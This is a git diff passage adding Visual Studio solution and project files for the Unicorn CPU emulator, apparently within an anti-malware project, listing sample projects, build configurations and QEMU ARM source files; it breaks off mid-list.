+Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sample_x86_32_gdt_and_seg_regs", "samples\sample_x86_32_gdt_and_seg_regs\sample_x86_32_gdt_and_seg_regs.vcxproj", "{9D96D09A-DE17-4011-9247-F0009E8D6DB5}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shellcode", "samples\shellcode\shellcode.vcxproj", "{F113B460-4B21-4014-9A15-D472FAA9E3F9}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sample_armeb", "samples\sample_armeb\sample_armeb.vcxproj", "{1945F27B-ABB3-47F9-9268-A42F73C8B992}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "aarch64eb-softmmu", "unicorn\aarch64eb-softmmu\aarch64eb-softmmu.vcxproj", "{340D86A5-E53C-490B-880A-8EB1F5BDE947}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "sample_arm64eb", "samples\sample_arm64eb\sample_arm64eb.vcxproj", "{1A42A5E3-82A7-4EE4-B7D2-8265B147F124}" + ProjectSection(ProjectDependencies) = postProject + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} = {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96} + EndProjectSection +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {ACB78BBB-E8F4-4EAD-B981-9C6155DE100B}.Debug|Win32.ActiveCfg = Debug|Win32 + {ACB78BBB-E8F4-4EAD-B981-9C6155DE100B}.Debug|Win32.Build.0 = Debug|Win32 + {ACB78BBB-E8F4-4EAD-B981-9C6155DE100B}.Debug|x64.ActiveCfg = Debug|x64 + {ACB78BBB-E8F4-4EAD-B981-9C6155DE100B}.Debug|x64.Build.0 = Debug|x64 + {ACB78BBB-E8F4-4EAD-B981-9C6155DE100B}.Release|Win32.ActiveCfg = Release|Win32 + {ACB78BBB-E8F4-4EAD-B981-9C6155DE100B}.Release|Win32.Build.0 = Release|Win32 + {ACB78BBB-E8F4-4EAD-B981-9C6155DE100B}.Release|x64.ActiveCfg = Release|x64 + {ACB78BBB-E8F4-4EAD-B981-9C6155DE100B}.Release|x64.Build.0 = Release|x64 + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96}.Debug|Win32.ActiveCfg = Debug|Win32 + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96}.Debug|Win32.Build.0 = Debug|Win32 + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96}.Debug|x64.ActiveCfg = Debug|x64 + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96}.Debug|x64.Build.0 = Debug|x64 + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96}.Release|Win32.ActiveCfg = Release|Win32 + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96}.Release|Win32.Build.0 = Release|Win32 + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96}.Release|x64.ActiveCfg = Release|x64 + {B6EFD6D7-C2D4-4FBB-B363-2E08CE09CC96}.Release|x64.Build.0 = Release|x64 + {2A7F483F-CD19-4F84-BBDA-B6A1865E2773}.Debug|Win32.ActiveCfg = Debug|Win32 + {2A7F483F-CD19-4F84-BBDA-B6A1865E2773}.Debug|Win32.Build.0 = Debug|Win32 + {2A7F483F-CD19-4F84-BBDA-B6A1865E2773}.Debug|x64.ActiveCfg = Debug|x64 + {2A7F483F-CD19-4F84-BBDA-B6A1865E2773}.Debug|x64.Build.0 = Debug|x64 + {2A7F483F-CD19-4F84-BBDA-B6A1865E2773}.Release|Win32.ActiveCfg = Release|Win32 + {2A7F483F-CD19-4F84-BBDA-B6A1865E2773}.Release|Win32.Build.0 = Release|Win32 + {2A7F483F-CD19-4F84-BBDA-B6A1865E2773}.Release|x64.ActiveCfg = Release|x64 + {2A7F483F-CD19-4F84-BBDA-B6A1865E2773}.Release|x64.Build.0 = Release|x64 + {F67EB1EA-DCFA-4758-A2AA-4B570BA78036}.Debug|Win32.ActiveCfg = Debug|Win32 + {F67EB1EA-DCFA-4758-A2AA-4B570BA78036}.Debug|Win32.Build.0 = Debug|Win32 + {F67EB1EA-DCFA-4758-A2AA-4B570BA78036}.Debug|x64.ActiveCfg = Debug|x64 + {F67EB1EA-DCFA-4758-A2AA-4B570BA78036}.Debug|x64.Build.0 = Debug|x64 + {F67EB1EA-DCFA-4758-A2AA-4B570BA78036}.Release|Win32.ActiveCfg = Release|Win32 + {F67EB1EA-DCFA-4758-A2AA-4B570BA78036}.Release|Win32.Build.0 = Release|Win32 + {F67EB1EA-DCFA-4758-A2AA-4B570BA78036}.Release|x64.ActiveCfg = Release|x64 + {F67EB1EA-DCFA-4758-A2AA-4B570BA78036}.Release|x64.Build.0 = Release|x64 + {740F3007-7BF0-4C0C-8FA5-2587C794EF31}.Debug|Win32.ActiveCfg = Debug|Win32 + {740F3007-7BF0-4C0C-8FA5-2587C794EF31}.Debug|Win32.Build.0 = Debug|Win32 + {740F3007-7BF0-4C0C-8FA5-2587C794EF31}.Debug|x64.ActiveCfg = Debug|x64 + {740F3007-7BF0-4C0C-8FA5-2587C794EF31}.Debug|x64.Build.0 = Debug|x64 + {740F3007-7BF0-4C0C-8FA5-2587C794EF31}.Release|Win32.ActiveCfg = Release|Win32 + {740F3007-7BF0-4C0C-8FA5-2587C794EF31}.Release|Win32.Build.0 = Release|Win32 + {740F3007-7BF0-4C0C-8FA5-2587C794EF31}.Release|x64.ActiveCfg = Release|x64 + {740F3007-7BF0-4C0C-8FA5-2587C794EF31}.Release|x64.Build.0 = Release|x64 + {2C5AD347-6E34-463B-8289-00578E43B255}.Debug|Win32.ActiveCfg = Debug|Win32 + {2C5AD347-6E34-463B-8289-00578E43B255}.Debug|Win32.Build.0 = Debug|Win32 + {2C5AD347-6E34-463B-8289-00578E43B255}.Debug|x64.ActiveCfg = Debug|x64 + {2C5AD347-6E34-463B-8289-00578E43B255}.Debug|x64.Build.0 = Debug|x64 + {2C5AD347-6E34-463B-8289-00578E43B255}.Release|Win32.ActiveCfg = Release|Win32 + {2C5AD347-6E34-463B-8289-00578E43B255}.Release|Win32.Build.0 = Release|Win32 + {2C5AD347-6E34-463B-8289-00578E43B255}.Release|x64.ActiveCfg = Release|x64 + {2C5AD347-6E34-463B-8289-00578E43B255}.Release|x64.Build.0 = Release|x64 + {63050112-E486-4396-B5E4-303C3BC12D39}.Debug|Win32.ActiveCfg = Debug|Win32 + {63050112-E486-4396-B5E4-303C3BC12D39}.Debug|Win32.Build.0 = Debug|Win32 + {63050112-E486-4396-B5E4-303C3BC12D39}.Debug|x64.ActiveCfg = Debug|x64 + {63050112-E486-4396-B5E4-303C3BC12D39}.Debug|x64.Build.0 = Debug|x64 + {63050112-E486-4396-B5E4-303C3BC12D39}.Release|Win32.ActiveCfg = Release|Win32 + {63050112-E486-4396-B5E4-303C3BC12D39}.Release|Win32.Build.0 = Release|Win32 + {63050112-E486-4396-B5E4-303C3BC12D39}.Release|x64.ActiveCfg = Release|x64 + {63050112-E486-4396-B5E4-303C3BC12D39}.Release|x64.Build.0 = Release|x64 + {4A9F9353-DB63-460A-BB1C-9CB519DFD414}.Debug|Win32.ActiveCfg = Debug|Win32 + {4A9F9353-DB63-460A-BB1C-9CB519DFD414}.Debug|Win32.Build.0 = Debug|Win32 + {4A9F9353-DB63-460A-BB1C-9CB519DFD414}.Debug|x64.ActiveCfg = Debug|x64 + {4A9F9353-DB63-460A-BB1C-9CB519DFD414}.Debug|x64.Build.0 = Debug|x64 + {4A9F9353-DB63-460A-BB1C-9CB519DFD414}.Release|Win32.ActiveCfg = Release|Win32 + {4A9F9353-DB63-460A-BB1C-9CB519DFD414}.Release|Win32.Build.0 = Release|Win32 + {4A9F9353-DB63-460A-BB1C-9CB519DFD414}.Release|x64.ActiveCfg = Release|x64 + {4A9F9353-DB63-460A-BB1C-9CB519DFD414}.Release|x64.Build.0 = Release|x64 + {4478909E-6983-425C-9D9F-558CF258E61E}.Debug|Win32.ActiveCfg = Debug|Win32 + {4478909E-6983-425C-9D9F-558CF258E61E}.Debug|Win32.Build.0 = Debug|Win32 + {4478909E-6983-425C-9D9F-558CF258E61E}.Debug|x64.ActiveCfg = Debug|x64 + {4478909E-6983-425C-9D9F-558CF258E61E}.Debug|x64.Build.0 = Debug|x64 + {4478909E-6983-425C-9D9F-558CF258E61E}.Release|Win32.ActiveCfg = Release|Win32 + {4478909E-6983-425C-9D9F-558CF258E61E}.Release|Win32.Build.0 = Release|Win32 + {4478909E-6983-425C-9D9F-558CF258E61E}.Release|x64.ActiveCfg = Release|x64 + {4478909E-6983-425C-9D9F-558CF258E61E}.Release|x64.Build.0 = Release|x64 + {006A7908-ABF3-4D18-BC35-0A29E39B95F9}.Debug|Win32.ActiveCfg = Debug|Win32 + {006A7908-ABF3-4D18-BC35-0A29E39B95F9}.Debug|Win32.Build.0 = Debug|Win32 + {006A7908-ABF3-4D18-BC35-0A29E39B95F9}.Debug|x64.ActiveCfg = Debug|x64 + {006A7908-ABF3-4D18-BC35-0A29E39B95F9}.Debug|x64.Build.0 = Debug|x64 + {006A7908-ABF3-4D18-BC35-0A29E39B95F9}.Release|Win32.ActiveCfg = Release|Win32 + {006A7908-ABF3-4D18-BC35-0A29E39B95F9}.Release|Win32.Build.0 = Release|Win32 + {006A7908-ABF3-4D18-BC35-0A29E39B95F9}.Release|x64.ActiveCfg = Release|x64 + {006A7908-ABF3-4D18-BC35-0A29E39B95F9}.Release|x64.Build.0 = Release|x64 + {698C2D54-475C-446F-B879-F629BBEF75FE}.Debug|Win32.ActiveCfg = Debug|Win32 + {698C2D54-475C-446F-B879-F629BBEF75FE}.Debug|Win32.Build.0 = Debug|Win32 + {698C2D54-475C-446F-B879-F629BBEF75FE}.Debug|x64.ActiveCfg = Debug|x64 + {698C2D54-475C-446F-B879-F629BBEF75FE}.Debug|x64.Build.0 = Debug|x64 + {698C2D54-475C-446F-B879-F629BBEF75FE}.Release|Win32.ActiveCfg = Release|Win32 + {698C2D54-475C-446F-B879-F629BBEF75FE}.Release|Win32.Build.0 = Release|Win32 + {698C2D54-475C-446F-B879-F629BBEF75FE}.Release|x64.ActiveCfg = Release|x64 + {698C2D54-475C-446F-B879-F629BBEF75FE}.Release|x64.Build.0 = Release|x64 + {8804AD29-E398-480C-AC0F-98EC1B7A51CB}.Debug|Win32.ActiveCfg = Debug|Win32 + {8804AD29-E398-480C-AC0F-98EC1B7A51CB}.Debug|Win32.Build.0 = Debug|Win32 + {8804AD29-E398-480C-AC0F-98EC1B7A51CB}.Debug|x64.ActiveCfg = Debug|x64 + {8804AD29-E398-480C-AC0F-98EC1B7A51CB}.Debug|x64.Build.0 = Debug|x64 + {8804AD29-E398-480C-AC0F-98EC1B7A51CB}.Release|Win32.ActiveCfg = Release|Win32 + {8804AD29-E398-480C-AC0F-98EC1B7A51CB}.Release|Win32.Build.0 = Release|Win32 + {8804AD29-E398-480C-AC0F-98EC1B7A51CB}.Release|x64.ActiveCfg = Release|x64 + {8804AD29-E398-480C-AC0F-98EC1B7A51CB}.Release|x64.Build.0 = Release|x64 + {17077E86-AE7C-41AF-86ED-2BAC03B019BC}.Debug|Win32.ActiveCfg = Debug|Win32 + {17077E86-AE7C-41AF-86ED-2BAC03B019BC}.Debug|Win32.Build.0 = Debug|Win32 + {17077E86-AE7C-41AF-86ED-2BAC03B019BC}.Debug|x64.ActiveCfg = Debug|x64 + {17077E86-AE7C-41AF-86ED-2BAC03B019BC}.Debug|x64.Build.0 = Debug|x64 + {17077E86-AE7C-41AF-86ED-2BAC03B019BC}.Release|Win32.ActiveCfg = Release|Win32 + {17077E86-AE7C-41AF-86ED-2BAC03B019BC}.Release|Win32.Build.0 = Release|Win32 + {17077E86-AE7C-41AF-86ED-2BAC03B019BC}.Release|x64.ActiveCfg = Release|x64 + {17077E86-AE7C-41AF-86ED-2BAC03B019BC}.Release|x64.Build.0 = Release|x64 + {9D588288-5A28-4AB3-96EA-442CAA508F8E}.Debug|Win32.ActiveCfg = Debug|Win32 + {9D588288-5A28-4AB3-96EA-442CAA508F8E}.Debug|Win32.Build.0 = Debug|Win32 + {9D588288-5A28-4AB3-96EA-442CAA508F8E}.Debug|x64.ActiveCfg = Debug|x64 + {9D588288-5A28-4AB3-96EA-442CAA508F8E}.Debug|x64.Build.0 = Debug|x64 + {9D588288-5A28-4AB3-96EA-442CAA508F8E}.Release|Win32.ActiveCfg = Release|Win32 + {9D588288-5A28-4AB3-96EA-442CAA508F8E}.Release|Win32.Build.0 = Release|Win32 + {9D588288-5A28-4AB3-96EA-442CAA508F8E}.Release|x64.ActiveCfg = Release|x64 + {9D588288-5A28-4AB3-96EA-442CAA508F8E}.Release|x64.Build.0 = Release|x64 + {9F32C692-9106-43AF-A291-779A2D8BE096}.Debug|Win32.ActiveCfg = Debug|Win32 + {9F32C692-9106-43AF-A291-779A2D8BE096}.Debug|Win32.Build.0 = Debug|Win32 + {9F32C692-9106-43AF-A291-779A2D8BE096}.Debug|x64.ActiveCfg = Debug|x64 + {9F32C692-9106-43AF-A291-779A2D8BE096}.Debug|x64.Build.0 = Debug|x64 + {9F32C692-9106-43AF-A291-779A2D8BE096}.Release|Win32.ActiveCfg = Release|Win32 + {9F32C692-9106-43AF-A291-779A2D8BE096}.Release|Win32.Build.0 = Release|Win32 + {9F32C692-9106-43AF-A291-779A2D8BE096}.Release|x64.ActiveCfg = Release|x64 + {9F32C692-9106-43AF-A291-779A2D8BE096}.Release|x64.Build.0 = Release|x64 + {04DC0E3A-F247-45C2-AE27-8DE7493AA43B}.Debug|Win32.ActiveCfg = Debug|Win32 + {04DC0E3A-F247-45C2-AE27-8DE7493AA43B}.Debug|Win32.Build.0 = Debug|Win32 + {04DC0E3A-F247-45C2-AE27-8DE7493AA43B}.Debug|x64.ActiveCfg = Debug|x64 + {04DC0E3A-F247-45C2-AE27-8DE7493AA43B}.Debug|x64.Build.0 = Debug|x64 + {04DC0E3A-F247-45C2-AE27-8DE7493AA43B}.Release|Win32.ActiveCfg = Release|Win32 + {04DC0E3A-F247-45C2-AE27-8DE7493AA43B}.Release|Win32.Build.0 = Release|Win32 + {04DC0E3A-F247-45C2-AE27-8DE7493AA43B}.Release|x64.ActiveCfg = Release|x64 + {04DC0E3A-F247-45C2-AE27-8DE7493AA43B}.Release|x64.Build.0 = Release|x64 + {7AA02EDF-D797-494B-929C-F628F4E4EA62}.Debug|Win32.ActiveCfg = Debug|Win32 + {7AA02EDF-D797-494B-929C-F628F4E4EA62}.Debug|Win32.Build.0 = Debug|Win32 + {7AA02EDF-D797-494B-929C-F628F4E4EA62}.Debug|x64.ActiveCfg = Debug|x64 + {7AA02EDF-D797-494B-929C-F628F4E4EA62}.Debug|x64.Build.0 = Debug|x64 + {7AA02EDF-D797-494B-929C-F628F4E4EA62}.Release|Win32.ActiveCfg = Release|Win32 + {7AA02EDF-D797-494B-929C-F628F4E4EA62}.Release|Win32.Build.0 = Release|Win32 + {7AA02EDF-D797-494B-929C-F628F4E4EA62}.Release|x64.ActiveCfg = Release|x64 + {7AA02EDF-D797-494B-929C-F628F4E4EA62}.Release|x64.Build.0 = Release|x64 + {11727C54-463F-472A-88AF-6C3D6071BF0B}.Debug|Win32.ActiveCfg = Debug|Win32 + {11727C54-463F-472A-88AF-6C3D6071BF0B}.Debug|Win32.Build.0 = Debug|Win32 + {11727C54-463F-472A-88AF-6C3D6071BF0B}.Debug|x64.ActiveCfg = Debug|x64 + {11727C54-463F-472A-88AF-6C3D6071BF0B}.Debug|x64.Build.0 = Debug|x64 + {11727C54-463F-472A-88AF-6C3D6071BF0B}.Release|Win32.ActiveCfg = Release|Win32 + {11727C54-463F-472A-88AF-6C3D6071BF0B}.Release|Win32.Build.0 = Release|Win32 + {11727C54-463F-472A-88AF-6C3D6071BF0B}.Release|x64.ActiveCfg = Release|x64 + {11727C54-463F-472A-88AF-6C3D6071BF0B}.Release|x64.Build.0 = Release|x64 + {E34ECD90-3977-4A4B-9641-4D7F1766E9FD}.Debug|Win32.ActiveCfg = Debug|Win32 + {E34ECD90-3977-4A4B-9641-4D7F1766E9FD}.Debug|Win32.Build.0 = Debug|Win32 + {E34ECD90-3977-4A4B-9641-4D7F1766E9FD}.Debug|x64.ActiveCfg = Debug|x64 + {E34ECD90-3977-4A4B-9641-4D7F1766E9FD}.Debug|x64.Build.0 = Debug|x64 + {E34ECD90-3977-4A4B-9641-4D7F1766E9FD}.Release|Win32.ActiveCfg = Release|Win32 + {E34ECD90-3977-4A4B-9641-4D7F1766E9FD}.Release|Win32.Build.0 = Release|Win32 + {E34ECD90-3977-4A4B-9641-4D7F1766E9FD}.Release|x64.ActiveCfg = Release|x64 + {E34ECD90-3977-4A4B-9641-4D7F1766E9FD}.Release|x64.Build.0 = Release|x64 + {A25CA34D-2F64-442B-A5D3-B13CB56C9957}.Debug|Win32.ActiveCfg = Debug|Win32 + {A25CA34D-2F64-442B-A5D3-B13CB56C9957}.Debug|Win32.Build.0 = Debug|Win32 + {A25CA34D-2F64-442B-A5D3-B13CB56C9957}.Debug|x64.ActiveCfg = Debug|x64 + {A25CA34D-2F64-442B-A5D3-B13CB56C9957}.Debug|x64.Build.0 = Debug|x64 + {A25CA34D-2F64-442B-A5D3-B13CB56C9957}.Release|Win32.ActiveCfg = Release|Win32 + {A25CA34D-2F64-442B-A5D3-B13CB56C9957}.Release|Win32.Build.0 = Release|Win32 + {A25CA34D-2F64-442B-A5D3-B13CB56C9957}.Release|x64.ActiveCfg = Release|x64 + {A25CA34D-2F64-442B-A5D3-B13CB56C9957}.Release|x64.Build.0 = Release|x64 + {F8053D66-8267-433A-BF2C-E07E2298C338}.Debug|Win32.ActiveCfg = Debug|Win32 + {F8053D66-8267-433A-BF2C-E07E2298C338}.Debug|Win32.Build.0 = Debug|Win32 + {F8053D66-8267-433A-BF2C-E07E2298C338}.Debug|x64.ActiveCfg = Debug|x64 + {F8053D66-8267-433A-BF2C-E07E2298C338}.Debug|x64.Build.0 = Debug|x64 + {F8053D66-8267-433A-BF2C-E07E2298C338}.Release|Win32.ActiveCfg = Release|Win32 + {F8053D66-8267-433A-BF2C-E07E2298C338}.Release|Win32.Build.0 = Release|Win32 + {F8053D66-8267-433A-BF2C-E07E2298C338}.Release|x64.ActiveCfg = Release|x64 + {F8053D66-8267-433A-BF2C-E07E2298C338}.Release|x64.Build.0 = Release|x64 + {9D96D09A-DE17-4011-9247-F0009E8D6DB5}.Debug|Win32.ActiveCfg = Debug|Win32 + {9D96D09A-DE17-4011-9247-F0009E8D6DB5}.Debug|Win32.Build.0 = Debug|Win32 + {9D96D09A-DE17-4011-9247-F0009E8D6DB5}.Debug|x64.ActiveCfg = Debug|x64 + {9D96D09A-DE17-4011-9247-F0009E8D6DB5}.Debug|x64.Build.0 = Debug|x64 + {9D96D09A-DE17-4011-9247-F0009E8D6DB5}.Release|Win32.ActiveCfg = Release|Win32 + {9D96D09A-DE17-4011-9247-F0009E8D6DB5}.Release|Win32.Build.0 = Release|Win32 + {9D96D09A-DE17-4011-9247-F0009E8D6DB5}.Release|x64.ActiveCfg = Release|x64 + {9D96D09A-DE17-4011-9247-F0009E8D6DB5}.Release|x64.Build.0 = Release|x64 + {F113B460-4B21-4014-9A15-D472FAA9E3F9}.Debug|Win32.ActiveCfg = Debug|Win32 + {F113B460-4B21-4014-9A15-D472FAA9E3F9}.Debug|Win32.Build.0 = Debug|Win32 + {F113B460-4B21-4014-9A15-D472FAA9E3F9}.Debug|x64.ActiveCfg = Debug|x64 + {F113B460-4B21-4014-9A15-D472FAA9E3F9}.Debug|x64.Build.0 = Debug|x64 + {F113B460-4B21-4014-9A15-D472FAA9E3F9}.Release|Win32.ActiveCfg = Release|Win32 + {F113B460-4B21-4014-9A15-D472FAA9E3F9}.Release|Win32.Build.0 = Release|Win32 + {F113B460-4B21-4014-9A15-D472FAA9E3F9}.Release|x64.ActiveCfg = Release|x64 + {F113B460-4B21-4014-9A15-D472FAA9E3F9}.Release|x64.Build.0 = Release|x64 + {1945F27B-ABB3-47F9-9268-A42F73C8B992}.Debug|Win32.ActiveCfg = Debug|Win32 + {1945F27B-ABB3-47F9-9268-A42F73C8B992}.Debug|Win32.Build.0 = Debug|Win32 + {1945F27B-ABB3-47F9-9268-A42F73C8B992}.Debug|x64.ActiveCfg = Debug|x64 + {1945F27B-ABB3-47F9-9268-A42F73C8B992}.Debug|x64.Build.0 = Debug|x64 + {1945F27B-ABB3-47F9-9268-A42F73C8B992}.Release|Win32.ActiveCfg = Release|Win32 + {1945F27B-ABB3-47F9-9268-A42F73C8B992}.Release|Win32.Build.0 = Release|Win32 + {1945F27B-ABB3-47F9-9268-A42F73C8B992}.Release|x64.ActiveCfg = Release|x64 + {1945F27B-ABB3-47F9-9268-A42F73C8B992}.Release|x64.Build.0 = Release|x64 + {340D86A5-E53C-490B-880A-8EB1F5BDE947}.Debug|Win32.ActiveCfg = Debug|Win32 + {340D86A5-E53C-490B-880A-8EB1F5BDE947}.Debug|Win32.Build.0 = Debug|Win32 + {340D86A5-E53C-490B-880A-8EB1F5BDE947}.Debug|x64.ActiveCfg = Debug|x64 + {340D86A5-E53C-490B-880A-8EB1F5BDE947}.Debug|x64.Build.0 = Debug|x64 + {340D86A5-E53C-490B-880A-8EB1F5BDE947}.Release|Win32.ActiveCfg = Release|Win32 + {340D86A5-E53C-490B-880A-8EB1F5BDE947}.Release|Win32.Build.0 = Release|Win32 + {340D86A5-E53C-490B-880A-8EB1F5BDE947}.Release|x64.ActiveCfg = Release|x64 + {340D86A5-E53C-490B-880A-8EB1F5BDE947}.Release|x64.Build.0 = Release|x64 + {1A42A5E3-82A7-4EE4-B7D2-8265B147F124}.Debug|Win32.ActiveCfg = Debug|Win32 + {1A42A5E3-82A7-4EE4-B7D2-8265B147F124}.Debug|Win32.Build.0 = Debug|Win32 + {1A42A5E3-82A7-4EE4-B7D2-8265B147F124}.Debug|x64.ActiveCfg = Debug|x64 + {1A42A5E3-82A7-4EE4-B7D2-8265B147F124}.Debug|x64.Build.0 = Debug|x64 + {1A42A5E3-82A7-4EE4-B7D2-8265B147F124}.Release|Win32.ActiveCfg = Release|Win32 + {1A42A5E3-82A7-4EE4-B7D2-8265B147F124}.Release|Win32.Build.0 = Release|Win32 + {1A42A5E3-82A7-4EE4-B7D2-8265B147F124}.Release|x64.ActiveCfg = Release|x64 + {1A42A5E3-82A7-4EE4-B7D2-8265B147F124}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(NestedProjects) = preSolution + {2A7F483F-CD19-4F84-BBDA-B6A1865E2773} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {F67EB1EA-DCFA-4758-A2AA-4B570BA78036} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {740F3007-7BF0-4C0C-8FA5-2587C794EF31} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {2C5AD347-6E34-463B-8289-00578E43B255} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {63050112-E486-4396-B5E4-303C3BC12D39} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {4A9F9353-DB63-460A-BB1C-9CB519DFD414} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {4478909E-6983-425C-9D9F-558CF258E61E} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {006A7908-ABF3-4D18-BC35-0A29E39B95F9} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {698C2D54-475C-446F-B879-F629BBEF75FE} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {8804AD29-E398-480C-AC0F-98EC1B7A51CB} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {17077E86-AE7C-41AF-86ED-2BAC03B019BC} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {340D86A5-E53C-490B-880A-8EB1F5BDE947} = {857A09AF-FE20-461C-B66F-D779422AD46B} + {9D588288-5A28-4AB3-96EA-442CAA508F8E} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + {9F32C692-9106-43AF-A291-779A2D8BE096} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + {04DC0E3A-F247-45C2-AE27-8DE7493AA43B} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + {7AA02EDF-D797-494B-929C-F628F4E4EA62} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + {11727C54-463F-472A-88AF-6C3D6071BF0B} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + {E34ECD90-3977-4A4B-9641-4D7F1766E9FD} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + {A25CA34D-2F64-442B-A5D3-B13CB56C9957} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + {F8053D66-8267-433A-BF2C-E07E2298C338} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + {9D96D09A-DE17-4011-9247-F0009E8D6DB5} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + {F113B460-4B21-4014-9A15-D472FAA9E3F9} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + {1945F27B-ABB3-47F9-9268-A42F73C8B992} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + {1A42A5E3-82A7-4EE4-B7D2-8265B147F124} = {F8E85E25-4D67-4A6B-A976-C920790B8798} + EndGlobalSection +EndGlobal diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/aarch64-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/aarch64-softmmu.vcxproj new file mode 100644 index 0000000..f9f022a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64-softmmu/aarch64-softmmu.vcxproj @@ -0,0 +1,239 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\arm_ldst.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\helper-a64.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\internals.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\kvm-consts.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\op_addsub.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\translate.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\aarch64.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\hw\arm\tosa.c" /> + <ClCompile Include="..\..\..\qemu\hw\arm\virt.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\cpu64.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\crypto_helper.c" /> + <ClCompile 